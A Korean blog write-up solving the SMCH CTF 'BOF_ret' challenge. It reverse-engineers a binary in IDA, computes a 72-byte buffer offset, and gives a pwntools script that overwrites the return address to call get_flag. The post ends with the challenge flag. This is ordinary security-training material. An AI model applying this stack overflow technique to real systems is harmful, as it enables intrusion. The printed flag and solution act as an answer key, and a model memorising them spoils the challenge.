본문 바로가기

WARGAME/smch ctf

SMCH CTF - BOF_ret

 

이번 문제는 BOF_ret라는 문제당 바이너리를 다운로드하여 실행시켜 보면,

 

 

 

 

다음과 같이 "By the way, what is your name?"이라는 문자열과 함께 입력을 주게 된다 입력을 한 줄 주면,

 

 

 

 

요럿게 "No flag... So sad (T.T)"라는 문자열이 뜨면서 프로그램이 종료된다. IDA로 메인 함수를 분석해보자.

 

 

 

 

메인 함수의 구조는 무척이나 간단했당 우리가 처음 입력 전에 보았던 문자열 3개를 출력한 뒤 greeting이라는 함수를 호출한다.

greeting 함수의 구조를 봐 보면, 

 

 

 

 

read함수로 buf에다가 입력받은 문자열을 출력해주고 no_flag라는 함수를 호출한다. 이름에서부터 flag를 안 주게 생긴 함수지만 한번 분석을 해보면, 

 

 

 

 

 

역시낰,, ㅋㅋㅋ 당연히 flag를 주지 않는다 그럼 다른 함수들이 있는지 보면,

 

 

 

 

 

 

 

왠지 저 get_flag라는 함수에서 flag를 줄 거 같이 보인다. 저 get_flag 함수를 분석해보면, 

 

 

 

 

 

 

역시 딱 flag를 출력해주는 함수였다 그렇담 저 get_flag 함수를 실행시켜야 한다. 원래 이 프로그램의 함수 호출 순서는

맨 처음 main -> greeting -> no_flag인데  반대로 no_flag함수가 끝나고 greeting가 끝나고 main 함수가 끝나기 직전

메인 함수의 ret주소를 get_flag 함수의 주소로 덮어 쓰여 준다면 get_flag가 실행될 것이다 즉, 그러기 위해서 알아야 하는

방금 전 greeting 함수의 buf크기를 보면,  

 

 

 

 

 

 

총 ebp - 0x48인 72만큼 buf가 할당되었음을 알 수 있다 즉, 우리는 총 buf 크기인 72를 채우고 sfp 4byte를 채운 다음 나머지

ret주소 4byte를 저 get_flag함수의 주소로 덮어써주면 된다

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*
 
p=remote("ssh.luxroot.com"9008)
 
payload=''
payload+="A"*72
payload+="B"*4
payload+=p32(0x804854b)
 
 
p.sendline(payload)
 
p.interactive()
 
 

 

다음과 같이 익스 코드를 짜고 실행시켜보면,

 

 

 

 

다음과 같이 no_flag 함수가 실행된 이후 greeting 함수를 거쳐 다시 main 함수로 돌아왔을 때 프로그램이 종료되지 않고 get_flag 함수가 실행되어 flag를 딸 수가 있다

 

 

FLAG : flag {W0W_U_kn0w_4 bout_ret_4ddr3ss}

'WARGAME > smch ctf' 카테고리의 다른 글

SMCH CTF - Calc  (0) 2019.11.09
SMCH CTF - Rock Paper scissors(EZ)  (0) 2019.11.08
SMCH CTF - BOF4  (0) 2019.11.08
SHCH CTF - BOF3  (0) 2019.11.03
SMCH CTF - BOF2 (EZ)  (0) 2019.11.03